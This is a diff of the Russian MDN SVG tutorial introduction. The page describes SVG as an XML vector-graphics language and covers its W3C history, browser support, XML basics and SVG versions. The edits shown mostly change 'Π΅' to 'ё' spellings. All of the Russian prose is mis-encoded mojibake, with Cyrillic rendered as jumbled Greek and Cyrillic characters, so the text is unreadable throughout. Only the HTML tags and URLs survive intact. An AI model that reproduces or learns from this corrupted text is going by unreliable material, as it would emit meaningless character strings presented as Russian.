<p>{{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅") }}</p>
-<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, схоТий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для рисования Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ Ρ‚Π°, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° справа. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для создания изобраТСния ΠΏΡƒΡ‚Π΅ΠΌ указания всСх Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ…Β Π»ΠΈΠ½ΠΈΠΉ ΠΈ Ρ„ΠΎΡ€ΠΌ, ΠΏΡƒΡ‚Π΅ΠΌ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… растровых ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ ΠΎΠ±ΠΎΠΈΡ…. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΈ ΠΈΡ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ трансформированы, собраны вмСстС, ΠΈΠ»ΠΈ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Π½Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… внСшний Π²ΠΈΠ΄.</p>
+<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, схоТий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для рисования Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ Ρ‚Π°, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΊΠ°Π·Π°Π½Π° справа. Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для создания изобраТСния ΠΏΡƒΡ‚Ρ‘ΠΌ указания всСх Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ…Β Π»ΠΈΠ½ΠΈΠΉ ΠΈ Ρ„ΠΎΡ€ΠΌ, ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… растровых ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ ΠΎΠ±ΠΎΠΈΡ…. Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΈ ΠΈΡ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ трансформированы, собраны вмСстС, ΠΈΠ»ΠΈ ΠΎΡ‚Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΠΎΠ²Π°Π½Ρ‹ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… внСшний Π²ΠΈΠ΄.</p>
-<p>Π’ 1999 Π³ΠΎΠ΄Ρƒ, послС конкурса Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ², SVG Π±Ρ‹Π» Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π²Β <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ Π½Π΅ Π±Ρ‹Π». SVG поддСрТиваСтся всСми Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a>. НСдостатком использования SVG являСтся Π΅Π³ΠΎ мСдлСнная Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° . ΠŸΡ€ΠΈ этом SVG Π΄Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ <a href="/en-US/docs/Web/API">DOM interface</a>, ΠΈ отсутствиС нСобходимости Π² стороннСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, часто зависит ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ случая примСнСния.</p>
+<p>Π’ 1999 Π³ΠΎΠ΄Ρƒ, послС конкурса Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ², SVG Π±Ρ‹Π» Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π²Β <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ Π½Π΅ Π±Ρ‹Π». SVG поддСрТиваСтся всСми Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a>. НСдостатком использования SVG являСтся Π΅Π³ΠΎ мСдлСнная Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° . ΠŸΡ€ΠΈ этом SVG Π΄Π°Ρ‘Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ <a href="/en-US/docs/Web/API">DOM interface</a>, ΠΈ отсутствиС нСобходимости Π² стороннСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚, часто зависит ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ случая примСнСния.</p>
<h3 id="Π‘Π°Π·ΠΎΠ²Ρ‹Π΅_ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹">Π‘Π°Π·ΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹</h3>
@@ -21,9 +21,9 @@ original_slug: Web/SVG/Tutorial/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<h3 id="Before_you_start" name="Before_you_start">Π”ΠΎ Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹</h3>
-<p>БущСствуСт ряд ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для рисования, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="http://www.inkscape.org/">Inkscape</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ свободный ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ SVG Π² качСствС Ρ€ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. Однако, это руководство полагаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ XML ΠΈΠ»ΠΈ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ (Π½Π° ваш Π²Ρ‹Π±ΠΎΡ€). ИдСя Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡƒΡ‡ΠΈΡ‚ΡŒ основам SVG Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈ это Π»ΡƒΡ‡ΡˆΠ΅ всСго ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ€Π°Π±ΠΎΡ‚Π°Π² с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ. ΠŸΡ€ΠΈ этом Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ свою ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ†Π΅Π»ΡŒ. НС всС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ просмотра SVG ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹, ΠΈ поэтому сущСствуСт высокий шанс Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ написанноС для ΠΎΠ΄Π½ΠΎΠ³ΠΎ прилоТСния Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ, просто ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ ΡƒΡ€ΠΎΠ²Π½ΠΈ SVG Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наряду с SVG (Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> ΠΈΠ»ΠΈ <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p>
+<p>БущСствуСт ряд ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для рисования, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="http://www.inkscape.org/">Inkscape</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ свободный ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ SVG Π² качСствС Ρ€ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. Однако, это руководство полагаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ XML ΠΈΠ»ΠΈ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ (Π½Π° ваш Π²Ρ‹Π±ΠΎΡ€). ИдСя Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡƒΡ‡ΠΈΡ‚ΡŒ основам SVG Ρ‚Π΅Ρ…, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‡Π΅Ρ‚ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈ это Π»ΡƒΡ‡ΡˆΠ΅ всСго ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΡ€Π°Π±ΠΎΡ‚Π°Π² с Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉ. ΠŸΡ€ΠΈ этом Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ свою ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ†Π΅Π»ΡŒ. НС всС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ просмотра SVG ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹, ΠΈ поэтому сущСствуСт высокий шанс Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ написанноС для ΠΎΠ΄Π½ΠΎΠ³ΠΎ прилоТСния Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ, просто ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ ΡƒΡ€ΠΎΠ²Π½ΠΈ SVG Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π΄Π΅Ρ‚Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ наряду с SVG (Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> ΠΈΠ»ΠΈ <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p>
-<p>SVG поддСрТиваСтся всСми соврСмСнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π΄Π°ΠΆΠ΅, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях, ΠΏΠ°Ρ€Π΅ ΠΈΡ… ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… вСрсий. Достаточно ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² <a href="http://caniuse.com/svg">Can I use</a>. Firefox ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ SVG, начиная с вСрсии 1.5, ΠΈ этот ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ растСт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ выпуском.Β  К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, наряду с этим руководством, MDN ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π½Π΅ ΠΎΡ‚ΡΡ‚Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ Gecko ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ основными рСализациями.</p>
+<p>SVG поддСрТиваСтся всСми соврСмСнными Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π΄Π°ΠΆΠ΅, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях, ΠΏΠ°Ρ€Π΅ ΠΈΡ… ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… вСрсий. Достаточно ΠΏΠΎΠ»Π½ΡƒΡŽ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π² <a href="http://caniuse.com/svg">Can I use</a>. Firefox ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ SVG, начиная с вСрсии 1.5, ΠΈ этот ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ растёт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ выпуском.Β  К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, наряду с этим руководством, MDN ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π½Π΅ ΠΎΡ‚ΡΡ‚Π°Π²Π°Ρ‚ΡŒ ΠΎΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ Gecko ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ основными рСализациями.</p>
<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ,Β  Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ основноС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ XML ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ языка Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ <abbr title="HyperText Markup Language">HTML</abbr>. Если Π²Ρ‹ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с XML, Π½ΠΈΠΆΠ΅ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слСдуСт ΠΈΠΌΠ΅Ρ‚ΡŒ Π²Π²ΠΈΠ΄Ρƒ:</p>
@@ -32,13 +32,13 @@ original_slug: Web/SVG/Tutorial/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅
<li>ЗначСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π² SVG Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°Π²Ρ‹Ρ‡Π΅ΠΊ, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ.</li>
</ul>
-<p>SVG ΠΈΠΌΠ΅Π΅Ρ‚ довольно Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎ руководство ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ основы. ПослС ознакомлСния с Π½ΠΈΠΌΠΈ, Ρ‚Π΅Π±Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG элСмСнтов</a>Β ΠΈ <a href="/ru/docs/DOM/DOM_Reference#SVG_интСрфСйсы">SVG интСрфСйсы</a>,Β  Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅ ΠΏΡ€ΠΈ нСобходимости.</p>
+<p>SVG ΠΈΠΌΠ΅Π΅Ρ‚ довольно Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ. Π­Ρ‚ΠΎ руководство ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ основы. ПослС ознакомлСния с Π½ΠΈΠΌΠΈ, Ρ‚Π΅Π±Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊ SVG элСмСнтов</a>Β ΠΈ <a href="/ru/docs/DOM/DOM_Reference#SVG_интСрфСйсы">SVG интСрфСйсы</a>,Β  Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Ρ‘ ΠΏΡ€ΠΈ нСобходимости.</p>
<h3 id="ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ_SVG">ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ SVG</h3>
<p>Начиная с Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ 2003 Π³ΠΎΠ΄Π°, самой свСТСй "ΠΏΠΎΠ»Π½ΠΎΠΉ" вСрсиСй SVG являСтся вСрсия 1.1. Она построСна Π½Π° SVG 1.0, Π½ΠΎ содСрТит Ρ‚Π°ΠΊΠΆΠ΅ большС ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ для упрощСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. <a href="http://www.w3.org/TR/SVG/">Π’Ρ‚ΠΎΡ€ΠΎΠΉ выпуск SVG 1.1</a> стал Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠ΅ΠΉ Π² 2011 Π³ΠΎΠ΄Ρƒ. "Полная" вСрсия SVG 1.2 стала ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π³Π»Π°Π²Π½Ρ‹ΠΌ выпуском SVG. Π•ΠΉ ΠΏΡ€ΠΈΡˆΠ»Π° Π½Π° смСну Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰Π°ΡΡΡ <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, которая сСйчас усилСнно разрабатываСтся ΠΈ слСдуСт схоТСму с CSS 3 ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρƒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½Π° раздСляСт ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π² нСсколько свободно связанных спСцифирований.</p>
